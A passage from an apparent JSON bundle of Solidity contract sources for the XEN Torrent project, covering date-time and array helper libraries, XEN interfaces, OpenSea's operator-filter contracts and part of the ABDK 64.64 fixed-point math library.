_SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <[email protected]>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 